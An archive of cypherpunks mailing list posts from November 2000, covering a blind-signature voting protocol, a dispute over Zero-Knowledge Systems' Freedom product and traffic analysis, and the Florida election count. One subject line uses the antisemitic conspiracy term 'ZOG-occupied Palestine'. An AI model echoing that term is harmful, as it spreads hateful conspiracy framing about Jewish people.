cannot generate signed "I'm voting" messages from eligible voters. Therefore if he uses fake ballots to try to stuff the ballot box, he will be detected in step 8. One exception to this is if people obtain ballots (giving him "I voted" messages) but do not then complete the protocol by submitting a vote. Bob can then enter a fake ballot without being detected. One fact about this protocol is that even though you cannot prove who anyone voted *for*, you can prove that they did or did not *vote*. This may or may not be a problem depending on the application. A vulnerability about this protocol is that Alice can transfer her vote if she wants to. To do this, Alice would unblind her ballots in step 6, and send the whole set to Carol. Carol could pretend to be Alice in step 7, and check in step 8 to make sure Alice didn't submit one of her own votes (invalidating Carol's purchased vote). So California Democratic supporters could swap ballots with Nevada Green supporters, enabling the Nevadans to vote Green in California (where it's "safe" to vote for a third party because there isn't a close race between the major parties one of whom they regard as EVIL) while the Californians voted Democratic in Nevada, where they'd stand a better chance of having their vote make a difference in the determination of electoral votes and keeping the EVIL guy out of office. Again, this may or may not be a problem depending on the application - in most voting situations, where there is no electoral college, there would be no motive to exchange ballots. But selling of ballots is also usually bad for the process, and the US seems to dislike transfer of ballots in general as regards its own elections - so I'm listing this as a vulnerability. From austin at zeroknowledge.com Fri Nov 10 11:56:03 2000 From: austin at zeroknowledge.com (Austin Hill) Date: Fri, 10 Nov 2000 14:56:03 -0500 Subject: CDR: Response to false statements about Zero-Knowledge Message-ID: Declan, I would like to respond to some of the discussion and false statements being made about Zero-Knowledge. Please see my comments below and FWD: to Politech. Thank you. Regards, Austin >-----Original Message----- >From: Declan McCullagh [mailto:declan at well.com] >Sent: Wednesday, November 08, 2000 7:15 PM >To: politech at politechbot.com >Cc: shamrock at cypherpunks.to >Subject: FC: Response to article on Zero Knowledge, marketing, and promises > >********* >A response to: >http://www.politechbot.com/p-01464.html >********* > >Date: Wed, 01 Nov 2000 18:49:32 -0800 >From: Lucky Green >Subject: RE: Zero Knowledge, after poor software sales, tries new gambit >To: declan at well.com > >Declan, >I don't believe the conclusion that Internet users are unwilling to pay for enhanced privacy is warranted given >the information currently available. If anything, ZKS' poor sales show that Internet users are unwilling to pay >for software that claims to protect the user's privacy but doesn't. This is a very important distinction to make. >Freedom (TM) as shipping does not adequately protect the users' privacy. ZKS' marketing machine and early promises >notwithstanding, in the end the market was not fooled into buying product that doesn't deliver. First to set the record straight, Declan's claim that our software sales have been poor is completely baseless. He has reported this as fact when during my interview with him I clearly stated that we are pleased with our results for Freedom and are seeing substantial growth, so much that we are still hiring more engineers (adding to the already 100 we have working on it) and adding more features and improvements to our consumer privacy product. Because we as a private company refuse to provide Declan with actual sales & revenue numbers he has persisted in reporting that this is because of poor software sales, based on what he described as anecdotal evidence that he has observed in the cypherpunk community. Declan fails to mention that Freedom was never targeted toward Cypherpunks; our goal was to incorporate Cypherpunk-level cryptography and philosophies into a privacy tool that would empower the average Internet user to manage their privacy online. Cypherpunks can build privacy tools for themselves; our target market for Freedom is consumers who are concerned with their privacy. Declan and his editor at Wired have received a complaint regarding what we feel was irresponsible reporting, that includes a transcript of the relevant parts of the interview. As of now, they have not made any correction or retraction. Declan, I invite you to FWD: our letter to you and your Wired editor, to Politech readers so they can make up their own minds regarding the current state of our software sales and your editorial on the launch of our additional corporate privacy services. For now Declan and I have agreed to disagree about the accuracy and quality of his article. Now leaving that issue aside, Lucky Green makes the claim that we have failed to deliver what we promise. I believe this is completely baseless and false. Our promised privacy protection is detailed extensively at a very technical level in our whitepapers, http://www.freedom.net/info/freedompapers/Freedom-Architecture-Protocols.pdf http://www.freedom.net/info/freedompapers/Freedom-NymCreation.pdf http://www.freedom.net/info/freedompapers/Freedom-Security.pdf In these papers we describe every attack we protect against and more importantly every attack that we don't protect against. These whitepapers include protocols, design goals and actual results of security audits against the architecture and the code. Unfortunately, Lucky hasn't done any analysis to add to the list. To further improve our security and privacy commitment and to ensure users do not have to rely on or trust Zero-Knowledge's claims, we have also published the source code for the system, which is available at, http://opensource.zeroknowledge.com We are the only privacy company that has published whitepapers on the full protocol, security attacks against the system, and the source code. We believe that this is responsible privacy, and that it is the only way to verify and support our claims to our users. If there is _ANY_ attack, weaknesses, flaw or security bug we have invited people to review our work and inform us, and we then update our documents to reflect our continued understanding of how to design and implement the best privacy infrastructure available. Based on this, we believe we are the strongest privacy solution on the market. (In fact most other privacy companies claim that we are 'killing a fly with a bazooka' by going overboard with strong crypto and multi-hop routing). >I think it is unfortunate that ZKS' failure to deliver on their >promises will now be taken as an indication that there is no market >for a product that ZKS never built. I actually believe that Lucky's false statements and accusations stem from Zero-Knowledge shipping a solution that does not include the solution to one of the original design goals, which was a traffic-analysis-resistant network. During our first attempt to build the FREEDOM infrastructure and an AnonymousIP protocol we also tried to build it to be resistant to traffic analysis and large statistical attacks. (This remains a design goal, but we think there are open research issues to be solved before we (or anyone) can ship a system that meets this design goal). The techniques we attempted to use to facilitate this were: -Constant packet sizing -Link padding -Traffic shaping (introducing extra bogus traffic or limiting traffic to disguise the actual amount of traffic being sent through the network) During our tests of the first alpha versions of FREEDOM, we found a number of problems with this including: 1. Speed & performance degradation that made the system unusable 2. Huge costs increases in operating the backbone infrastructure (Packets were being sent with a huge increase in 'stuffed' payloads and there had to be constant traffic on the network) 3. Incomplete understanding of the effect in the security and resistances to these attacks (we found there was not enough research in the area of traffic analysis to determine if the extra delays and huge costs increased gained us anything in the protection from traffic analysis. In fact, upon review we found that since the costs of doing the bare minimum padding (full link padding from the client node to the first server node) could not be supported by what we felt users were willing to pay for privacy, we reviewed our threat model and lowered the bar on the what we were trying to accomplish. We consider traffic analysis to be an area in need of basic research. We have some information-theoretical and computationally secure proposals but minimal work on secure systems with work-factors less than computationally secure. Simple things like how to define and discuss the work-factor of these systems are missing. We do not have equivalents of basic constructs like Feistel-networks, s-boxes, or chaining modes. We have easy attacks which seem very powerful, but can't judge if those attacks are the equivalent of statistical attacks on ceaser ciphers or something more powerful. We do not have powerful techniques such as differential or linear cryptanalysis, the impossible variants, or any sort of trade-off attacks. There's not a great deal of discussion of the case where flood the pipe is not an option, or where we want to limit delays. We think the situation is analogous to the state of our understanding of block cipher analysis in 1970. We had an information-theoretically secure system. But we had little or no knowledge of the Enigma breaks (Bletchly Park is not mentioned in the index of the 1967 ed. of the Codebreakers). When the NBS proposed the DES, many were at a loss as to how to critique it beyond asking for the design criteria to be published. Compare and contrast this situation with the AES competition. Our Director of Technology, Adam Shostack raised this issue in a rump session talk at the 'Design Issues in Anonymity and Unobservability' workshop, and we're looking for other ways to bring the problem to the attention of the academic community. Our users are primarily Win 95/98 users who are worried about their privacy (i.e. email address; cookies; profiling by ad networks; pseudonyms for chat rooms and Usenet). They are not worried about the NSA doing traffic analysis on their communications. We were way too ambitious with that design goal and we decided it was not a 'must have' that would prevent us from shipping our current solution. More than that, we did so publicly (see our whitepapers) and we are also working on increasing academic research in this area (we have a few scientists working on it) so that if we decide to attack this problem in the future there will be more information available to us to review. Lucky claims that there is large market demand (in terms of $$ and/or people) for traffic-analysis-resistant, completely anonymous networking. I disagree, but would invite him to take our source code and go out and build a business based on this. The published source code is the result of 3 years of engineering by more than 100 developers and we would invite him to take this start and improve on it. We would be interested in his results both technically (how to achieve traffic analysis resistant networking) and on the business side (how do you build a business to support fully traffic analysis resistant networking). We have 250+ people working very hard on privacy systems, and have taken huge steps in making sure we are accurate in our claims, transparent in our systems and are delivering privacy services that we can be very proud of. Lucky, by claiming that we are misleading our users or not protecting their privacy because of the lack of resistance to traffic analysis is irresponsible and is allowing the best to be the enemy of the good.* * For those who don't follow security debates, this refers to idealists who want to build great systems with really neat provable properties and other useful underpinnings. Unfortunately, none of those systems have ever shipped, and in the real world, we get by with good. Freedom is the strongest privacy system that's shipping. Is it as good as we would like it to be in an ideal world? Of course not. But there is a braintrust at Zero-Knowledge of really smart people who want to make it even better, so while we've decided to ship a strong and working system that offers consumers the best privacy available today, we also have 100 engineers working to continually make it better. Regards, -Austin >The risk that the such a, in my view erroneous, conclusion would be drawn was of course the big risk to Internet >privacy worldwide that followed from ZKS' foolish gamble to ship a product that didn't meet market demand. A risk >that I on more than one occasion impressed upon the principals was to great to take. > >--Lucky Green > > "Anytime you decrypt... its against the law". > Jack Valenti, President, Motion Picture Association of America in > a sworn deposition, 2000-06-06 > _________________________________________________________________________ Austin Hill Zero-Knowledge Systems Inc. President Montreal, Quebec Phone: 514.286.2636 Fax: 514.286.2755 mailto:a_hill at zeroknowledge.com http://www.zeroknowledge.com Are you fast enough? Are you smart enough? We are hiring those who are! http://www.zeroknowledge.com/jobs/ PGP Fingerprints RSA = 7BDB A72C 1130 BC09 CD5A 2712 F51D 72AC DH/DSS = F783 7187 E174 0C5C DD4C B1FA 0392 C7DC AF5A 1FAB _________________________________________________________________________ -- Resistance is futile! http://jobs.zeroknowledge.com From ernest at luminousnetworks.com Fri Nov 10 14:56:34 2000 From: ernest at luminousnetworks.com (Ernest Hua) Date: Fri, 10 Nov 2000 14:56:34 -0800 Subject: CDR: RE: Another mental exercise for the absolutists ... Message-ID: <090825D1E60BD311B8390090276D5C4965DD17@galileo.luminousnetworks.com> Mis type ... opposite of "Florida". Ern -----Original Message----- From: Me [mailto:commerce at home.com] Sent: Friday, November 10, 2000 2:45 PM To: cypherpunks at cyberpass.net Subject: Re: Another mental exercise for the absolutists ... ----- Original Message ----- From: "Ernest Hua" > New Mexico appears to be having a problem ... > A computer glitch left out 60K+ ballots. > What would YOU do about it? Are we talking about the equiv bulb burning out on the card reader? Is there any error in the ballot? Is there a chain of evidence, wrt where they have come from? Yes, no, yes: let them in. > For the violently anti-Gore types: This state > appears to be the opposite of New Mexico in New Mexico is the opposite of New Mexico? -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 1670 bytes Desc: not available URL: From gbroiles at netbox.com Fri Nov 10 15:10:46 2000 From: gbroiles at netbox.com (Greg Broiles) Date: Fri, 10 Nov 2000 15:10:46 -0800 Subject: CDR: Response to false statements about Zero-Knowledge In-Reply-To: ; from austin@zeroknowledge.com on Fri, Nov 10, 2000 at 02:56:03PM -0500 References: Message-ID: <20001110151045.A22615@ideath.parrhesia.com> On Fri, Nov 10, 2000 at 02:56:03PM -0500, Austin Hill wrote: > > First to set the record straight, Declan's claim that our software sales > have been poor is completely baseless. He has reported this as fact when > during my interview with him I clearly stated that we are pleased with our > results for Freedom and are seeing substantial growth, so much that we are > still hiring more engineers (adding to the already 100 we have working on > it) and adding more features and improvements to our consumer privacy > product. This is a non sequitur - the facts that "ZKS is happy with its sales" and "ZKS is hiring more engineers" are unrelated to Declan's evaluation of the available evidence regarding ZKS' sales. In the absence of numbers from ZKS - which would be the best source of that information, if it were available - people wanting to evaluate ZKS and its business must look at less helpful information, which will likely include anecdotal accounts which you dismiss. Now, if the question before us were "Are the shareholders and employees of ZKS happy with their sales?" or "Are ZKS' sales reasonably within the projections in their business plan?" or "Is ZKS close to bankruptcy?", then the facts and feelings you mention above would be responsive. Those are not, however, the questions raised about ZKS, so your remarks don't seem to be responsive. It doesn't seem reasonable for you to complain about Declan writing an article based on incomplete information, but to refuse to provide that information so that the article could be based on better data. I get the impression that you would prefer the article not appear at all - which is a reasonable thing to wish for, but not a reasonable thing to expect. If ZKS wants press, it will have to take the bad (or the inconvenient) along with the good. > Because we as a private company refuse to provide Declan with actual sales & > revenue numbers he has persisted in reporting that this is because of poor > software sales, based on what he described as anecdotal evidence that he has > observed in the cypherpunk community. > > Declan fails to mention that Freedom was never targeted toward Cypherpunks; > our goal was to incorporate Cypherpunk-level cryptography and philosophies > into a privacy tool that would empower the average Internet user to manage > their privacy online. Cypherpunks can build privacy tools for themselves; > our target market for Freedom is consumers who are concerned with their > privacy. Sure - cypherpunks are a very small market, so it would be very difficult for even a small business to survive on cypherpunk sales alone. However, that doesn't mean that cypherpunk purchases and evaluations are unimportant, or can be dismissed. High tech marketing people discuss a "technology adoption life cycle" - Geoffrey Moore writes about this (in _Crossing the Chasm_, et al) but I don't know if he was the first person to do so. Briefly, this model suggests that new products or technology are adopted at a rate which describes a bell curve - at the left edge, there's a initially small adoption rate which represents the activity of "innovators", people who actively seek out new technologies and products, and who frequently provide valuable unofficial marketing and support for new products. Moving to the right, we find the "early adopters", who are not technologists themselves (versus the innovators, who are) but are willing to risk adoption of a technology or product not proven on a wide scale if they see a strong benefit. Moving further to the right, we find the "early majority" and "late majority" who make up the bulk of the adopters of the technology, who wait until the product/technology has been approved and proven by the innovators and early adopters. (Following the late majority are the "laggards", who are a small market and unimportant to this message). When you describe ZKS and Freedom as "consumers who are concerned with their privacy", I believe you are speaking of the middle of the bell curve - as you say, cypherpunks don't need freedom, but the non-technologists do. What your analysis seems to miss is the role that's played by the innovators and the early adopters in bringing a product or a technology to a maturity level where it's acceptable to the much larger middle market. For your product, cypherpunks, and wannabe- cypherpunks are the innovators or the early adopters, in large part - the people who will experiment with your product, and tell their friends and families and employers and user groups about it. If you don't meet the needs of the early people, you won't get a chance to meet the needs of the people in the middle. Comments on the cypherpunks list and at physical meetings seems to suggest that Freedom is not enjoying a good adoption rate within what's likely a big part of that adoption curve. I've only seen a few users of ZKS nyms on public mailing lists, which ought to be a popular use for them; a web search with Google and HotBot doesn't reveal any use of @freedom.net email addresses showing up in mailing list archives. If you can point to concrete numbers showing adoption rates, I'm sure that many people would be interested - but telling us that you (as a founder of the company) are happy with your sales doesn't do much to tell the rest of us about what's happening inside ZKS. My impression - from my own experience, from the lack of apparent adoption by others, and from ZKS' reframing of its business from stronger protection to weaker protection to the new "privacy consulting" stuff is that ZKS is searching for its niche in the marketplace, and hasn't found it yet. There's nothing wrong with that - look at AT&T, or the other long distance carriers moving away from consumer services, or the AOL/Time merger - but denying things which are readily apparent doesn't inspire confidence. > To further improve our security and privacy commitment and to ensure users > do not have to rely on or trust Zero-Knowledge's claims, we have also > published the source code for the system, which is available at, > > http://opensource.zeroknowledge.com As far as I can tell, only the Linux client software and the Linux kernel modules are available - but you said yourself that the real target market is Windows. When will the Windows client be made available for inspection? When will the other server-side software be made available? (Please don't get confused between licensing terms and source code inspection - it's very nice to make software available under GPL or other terms; and it might well be economically or strategically stupid to make your Windows client available under a free license - but that doesn't mean you can't allow open audits of it for security issues, or get an outside organization to publish the results of a code review.) > We are the only privacy company that has published whitepapers on the full > protocol, security attacks against the system, and the source code. We > believe that this is responsible privacy, and that it is the only way to > verify and support our claims to our users. > > If there is _ANY_ attack, weaknesses, flaw or security bug we have invited > people to review our work and inform us, and we then update our documents to > reflect our continued understanding of how to design and implement the best > privacy infrastructure available. > > Based on this, we believe we are the strongest privacy solution on the > market. (In fact most other privacy companies claim that we are 'killing a > fly with a bazooka' by going overboard with strong crypto and multi-hop > routing). I think everyone agrees that ZKS has built the strongest commercially available client-side privacy system. Again, that's not the interesting question. The interesting question is "Is it strong enough?" Everyone who's looked at the question - from your accounts, inside ZKS, and outside people - seems to agree that nobody knows, or if they know they're not telling. > We have 250+ people working very hard on privacy systems, and have taken > huge steps in making sure we are accurate in our claims, transparent in our > systems and are delivering privacy services that we can be very proud of. I don't think there's any question that you folks are working hard, that you are doing a good job of only saying true things, that you are moving towards releasing pieces of your infrastructure for review, or that you're providing a service equal to or better than what's currently on the market. It would be unfortunate if you lost sight of that. It would also be unfortunate if you confuse questions or concerns about ZKS with hostility towards ZKS. If I have a weird spot on my skin and I ask a doctor friend about it, I don't want them to tell me it's nothing to worry about, even if it's really malignant but they don't want me to feel bad. Similarly, if people in the cypherpunk community raise questions about ZKS, I think it's sensible to assume that they're doing it because they want to help ZKS, or because they want to help privacy generally and think you may be inadvertently harming it. > Lucky, by claiming that we are misleading our users or not protecting their > privacy because of the lack of resistance to traffic analysis is > irresponsible and is allowing the best to be the enemy of the good.* This may be true - but your message was the first one that I've seen which describes clearly the changes made in Freedom's design and implementation between v1 and v2, and I'm a customer. (Not an active one, due to configuration issues, but you've got some of my $, and didn't bother to tell me that the traffic-analysis resistance I thought I paid for has been eliminated because it turned out to be difficult.) While I greatly appreciate your candor - and am confident that your analysis of the economics of the bandwidth required to foil traffic analysis was correct - I do think there's perhaps some room for improvement re keeping people up-to-date on what sort of protection they can expect from Freedom and ZKS. If you are ever in the mood to update the Freedom FAQ, I suggest that the following questions would be helpful ones to answer - Q: If I post a message critical of a big company using a Yahoo forum, and the Yahoo registration data points back to my Freedom account (email and source IP), will the big company be able to get my personal information from you with a subpoena? Q: If I post a message to a mailing list which has some source code that a big company thinks violates the DMCA, and the big company calls the FBI, will the FBI be able to get my personal information from you with a subpoena? Q: What happens if I make someone really, really angry and they come to your offices and point guns at your employees .. will they be able to get my personal information from you? Assume they shoot a few people to show they're serious. Then will you find a way to give them my personal information? What if they take your computer equipment away from you (or one of your participating ISP's) at gunpoint, and take it back to their hideout for analysis. How difficult will it be for them to get my personal information? -- Greg Broiles gbroiles at netbox.com PO Box 897 Oakland CA 94604 From tcmay at got.net Fri Nov 10 15:11:07 2000 From: tcmay at got.net (Tim May) Date: Fri, 10 Nov 2000 15:11:07 -0800 Subject: CDR: Re: A secure voting protocol In-Reply-To: References: Message-ID: At 2:46 PM -0800 11/10/00, Ray Dillinger wrote: >Okay, this information is old hat to most folk here - but >it seems relevant just now, and if the infrastructure had >been in place for this election, it could have saved us a >heck of a lot of trouble. > >An Election Protocol: Or, a way for people in voting societies to >exercise their franchise without stirring themselves to get down to >the polls or, for that matter, leaving their computer. > >1) Alice the voter creates twenty sets of ballots. Each set of > >2) Alice now blinds all the ballot sets with different blinding >3) Bob checks the digital signature, checks to make sure he hasn't > >4) Alice responds by sending Bob the blinding factors for the > >5) Bob unblinds the nineteen sets of ballots, making sure that > >6) Alice unblinds the ballot set while preserving Bob's signature. > >7) Bob decrypts the ballot, checks his own signature to make sure > >8) When the election is over, Bob publishes the ballots and the (I've left out the details, but kept the first line of each of the steps.) The problems with these protocols are obvious to all who have looked at these things over the years: * most voters, at least 99% of them, will not understand or trust or bother with the protocols * the steps will of course all be automated into some WindowsMe or Mac client called "MyVote." This package will itself not be trusted by most people. * the large fraction of people who are not computer literate, or who don't own a PC, etc. will have to use someone else's PC or terminal. This then raises all the usual issues about their blinding numbers, passphrases, keystrokes, etc., being captured or manipulated by someone else. Physical ballot voting has its problems, but at least people _understand_ the concept of marking a ballot, as opposed to "blinding the exponent of their elliptic curve function and then solving the discrete log problem for an n-out-of-m multi-round tournament." Further, people can _watch_ their ballots going into a voting box, a "mix." I know I watch my ballot going in. And while it is _possible_ for secret cameras to be videotaping my choices, or for DNA from my fingers being able to "mark" my ballot, I understand from basic economic and ontologic issues that these measures are very unlikely. This assurance doesn't exist with the protocol described above. Some folks will think their protocol failed, some will think there is a "backdoor" for seeing how they voted, some will think their are not adequate methods for auditing or double-checking the protocols. I would not trust such a system, or be willing to take night school classes in crypto and higher math in order to begin to understand the system...so imagine what other folks will think. It won't happen in our lifetimes. It may happen in European nations, but only because the average citizen does what he is told to do more so than American paranoids and individualists will do. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From anonymous at openpgp.net Fri Nov 10 12:15:16 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Fri, 10 Nov 2000 15:15:16 -0500 Subject: CDR: synthetic images still k-porn to appeals ct Message-ID: Federal appeals panel upholds computer child-porn law By David Hudson The Freedom Forum Online 11.07.00 The 4th U.S. Circuit Court of Appeals has become the third federal appeals court to uphold a federal law expanding the definition of child pornography to include computer-generated images of minors engaged in sexually explicit conduct even if the images only appear to be of a minor. http://www.freedomforum.org/news/2000/11/2000-11-07-03.htm From ssyreeni at cc.helsinki.fi Fri Nov 10 05:17:59 2000 From: ssyreeni at cc.helsinki.fi (Sampo A Syreeni) Date: Fri, 10 Nov 2000 15:17:59 +0200 (EET) Subject: CDR: Re: Close Elections and Causality In-Reply-To: Message-ID: On Thu, 9 Nov 2000, Tim May wrote: >In close elections, as in close sports games, as in the golf example, >there will be many events which are later claimed to be "hinge >points," or forks. Which is pretty much caused by the count being seen as an advancing 'race' with a definite order. I've never understood what the hell is a direct broadcast all about when all the votes have already been cast. >Again, a misuse of the term "causation." Yep. People tend to have trouble with things causal. >Second, at the time of the "approximately simultaneous" vote on >Tuesday, no particular state, no particular county, and no particular >precinct had any way of "knowing" that it would be a hinge site. In even simpler terms, if there is an actual draw, every single vote is precisely as much the fork as any other. Sampo Syreeni , aka decoy, student/math/Helsinki university From ravage at einstein.ssz.com Fri Nov 10 13:24:20 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Fri, 10 Nov 2000 15:24:20 -0600 (CST) Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: Message-ID: On Fri, 10 Nov 2000, Trei, Peter wrote: > One of the good results of the current stalemate is that many of us are > getting crash courses in constitutional law. > > This is covered by the Presidential Succession Act of 1947. See > http://www.greatsource.com/amgov/almanac/documents/key/1947_psa_1.html Actualy it isn't. It's covered by the 20th amendment, section 3. It also invalidates the point Declan was trying to make on the 12th (guess he should take his own advice). http://lcweb2.loc.gov/const/amend.html Section 3. If, at the time fixed for the beginning of the term of President, the President elect shall have died, the Vice President elect shall become President. If a President shall not have been chosen before the time fixed for the beginning of his term, or if the President elect shall have failed to qualify, then the Vice President elect shall act as Presdent until a President shall have qualified; and the Congress may by law provide for the case wherein neither a President elect nor a Vice President elect shall have qualified, declaring who shall then act as President, or the manner in which one who is to act shall be selected, and such a person shall act accordingly until a President or Vice President shall have qualified. Looks to me like Congress could leave Bill in office until this mess is over. Like I said, is this a new way to win a 3rd term? ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at ssz.com Fri Nov 10 13:26:13 2000 From: ravage at ssz.com (Jim Choate) Date: Fri, 10 Nov 2000 15:26:13 -0600 (CST) Subject: CDR: RE: A very brief politcal rant In-Reply-To: <4.3.0.20001110125929.01ccd900@mail.well.com> Message-ID: On Fri, 10 Nov 2000, Declan McCullagh wrote: > As a working journalist writing about politics, I get lots of feedback from > voters. Many are, sadly, clueless. And as a consequence you should feel right at home. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at einstein.ssz.com Fri Nov 10 13:42:51 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Fri, 10 Nov 2000 15:42:51 -0600 (CST) Subject: CDR: Physical Meet: Tuesday Nov. 14, 2000 Message-ID: Austin Cypherpunks Monthly Physical Meeting Central Market HEB Cafe 38th & N. Lamar 2nd. Tuesday of each month 7-9pm http://einstein.ssz.com/cdr/index.html We normaly meet outside at the tables unless the weather is bad. Look for the red covered 'Applied Cryptography' book to identify the group. Please visit the homepage for information on joining both the Cypherpunks Distributed Remailer (CDR) as well as the local mailing list. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From webmaster at logrande.com Fri Nov 10 12:55:17 2000 From: webmaster at logrande.com (webmaster at logrande.com) Date: Fri, 10 Nov 2000 15:55:17 -0500 Subject: CDR: Tu no te fuiste al CONCIERTO...??? Message-ID: <200011102125.NAA08950@toad.com> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 2190 bytes Desc: not available URL: From bill.stewart at pobox.com Fri Nov 10 16:13:36 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Fri, 10 Nov 2000 16:13:36 -0800 Subject: CDR: Re: Late-postmarked ballots from ZOG-occupied Palestine In-Reply-To: Message-ID: <3.0.5.32.20001110161336.00b0d100@idiom.com> So do military personnel who are officially Florida residents get Extra Slack on their absentee ballots if they're overseas? They're as likely to vote for the Ruling Party than Israelis are. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From info at bacalao.net Fri Nov 10 07:21:29 2000 From: info at bacalao.net (BACALAO.NET) Date: Fri, 10 Nov 2000 16:21:29 +0100 Subject: CDR: Newsletter from Bacalao.Net Message-ID: <200011101515.QAA07376@odin.mimer.no> Hello. Why not try to offer some of your products at http://bacalao.net before you leave the office today? There might be someone out there looking for what you have! Another good idea can be to offer items that you normally do not work with, but for some reason have available... Or if you are looking for something http://bacalao.net is a perfect place to post your inquiry - you never know - again, there might be some of the few 100 visitors per day that can help you. If you don't try - you will never know. The place is http://bacalao.net Good weekend! Best regards, BACALAO.NET Office From tcmay at got.net Fri Nov 10 16:23:59 2000 From: tcmay at got.net (Tim May) Date: Fri, 10 Nov 2000 16:23:59 -0800 Subject: CDR: Re: A secure voting protocol In-Reply-To: <004201c04b6f$9c517110$0442a296@labsec.inf.ufsc.br> References: <004201c04b6f$9c517110$0442a296@labsec.inf.ufsc.br> Message-ID: At 9:40 PM -0200 11/10/00, Augusto Jun Devegili wrote: >----- Original Message ----- >From: "Tim May" > >> The problems with these protocols are obvious to all who have looked >> at these things over the years: > >> * most voters, at least 99% of them, will not understand or trust or >> bother with the protocols > >[Augusto] Well... how many people don't understand SSL and still use it for >home banking? 1. It's built-in and they barely notice it. 2. Many folks don't think about wiretapping for online transactions, or sniffers. They would likely do limited amounts of home banking even without SSL. High rollers don't move large amounts of money around with MyHomePiggyBank and QuickenMe. 3. In particular, there are many people who don't do any online banking at all. Which is fine, as this is their choice and they have ample alternatives. But such is not the case with voting, where we cannot disenfranchise large blocs of people who distrust online voting. 4. The basic concept of point-to-point crypto, such as with PGP or SSL or whatever, is well-understood. It's the concept of an envelope. Such is not the case with the notoriously complex blinding protocols. People will bog down the first time the explanation is attempted. >... > >[Augusto] One can still maintain public sites for casting votes, using the >same "MyVote" system and identifying themselves with smartcards. And people will of course fear that the link between their smartcards and all of the interactions on the local terminal will be made. The point is that they don't have their own PC, their own local processor, to do all the necessary computations and local storage. > >[Augusto] I would like to see this happening after the scientific/academic >community approves a secure protocol and its implementation architecture. You're welcome to "see it happen." Leave me out of out, though. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From declan at well.com Fri Nov 10 13:29:16 2000 From: declan at well.com (Declan McCullagh) Date: Fri, 10 Nov 2000 16:29:16 -0500 Subject: CDR: Announcing PerpetualElection.com, political news/discussion site Message-ID: <4.3.0.20001110162912.00b2b1b0@mail.well.com> PerpetualElection.com Launches News and Discussion Site Press Release NOVEMBER 10, 2000 -- PerpetualElection.com, the only website devoted exclusively to news about the first perpetual presidential election in U.S. history, launched on Friday. The site, operated by activists and journalists, is designed to provide an information and discussion area for Americans who want to follow the recent events in the Sunshine State. For example: Will Al Gore litigate? Did George W. Bush truly win? Why would over 3,000 people vote for Pat Buchanan anyway? Could the House of Representatives pick the next president? At PerpetualElection.com, we'll chart the story's development with the help of our readers. Unlike many other sites, PerpetualElection.com has liberals, conservatives, greens, and libertarians as editors. All have equal ability to post news and start discussions, and there is no single editorial point of view. Some of our editors, in alphabetical order: * Sonia Arrison of the Pacific Research Institute in San Francisco * Kathleen Ellis, a Baltimore system administrator and journalist * Declan McCullagh, Washington correspondent for Wired News * Jill Pelavin, a programmer living in Mountain View, California PerpetualElection.com is an open source project: It runs on a Red Hat Linux server and uses mySQL as a database. The Slash engine, made popular by Slashdot.org, is used for discussions and articles. For more information, contact: feedback at perpetualelection.com (202) 986 3455 Voice (413) 845-5444 Fax Or visit: http://www.perpetualelection.com/ http://www.perpetualelection.com/about.shtml ### From tcmay at got.net Fri Nov 10 16:32:48 2000 From: tcmay at got.net (Tim May) Date: Fri, 10 Nov 2000 16:32:48 -0800 Subject: CDR: Re: Late-postmarked ballots from ZOG-occupied Palestine In-Reply-To: <3.0.5.32.20001110161336.00b0d100@idiom.com> References: <3.0.5.32.20001110161336.00b0d100@idiom.com> Message-ID: At 4:13 PM -0800 11/10/00, Bill Stewart wrote: >So do military personnel who are officially Florida residents >get Extra Slack on their absentee ballots if they're overseas? >They're as likely to vote for the Ruling Party than Israelis are. > I have no idea. The solution has been obvious for a long time: absentee ballots must be received by the close of business on the polling day. Those who know they are going to be out of their voting area must mail their ballots in time to arrive. This eliminates this particular hazard. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From dssimpson at kpmg.com.au Thu Nov 9 21:36:35 2000 From: dssimpson at kpmg.com.au (Simpson, Douglas S) Date: Fri, 10 Nov 2000 16:36:35 +1100 Subject: CDR: RE: BSA deploys imaginary pirate software detector vans Message-ID: yep was suposidly done for them at Cambridge in UK - thought they rejected it though? SOFT TEMPEST Article: http://www.cl.cam.ac.uk/~mgk25/ih98-tempest-slides.pdf http://www.cl.cam.ac.uk/~mgk25/ih98-tempest.pdf Kindest Regards Douglas Simpson Manager - National PKI Services ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ KPMG Information Risk Management The KPMG Centre 45 Clarence Street Sydney NSW 2000 Australia Ph: +61 2 9335 8612 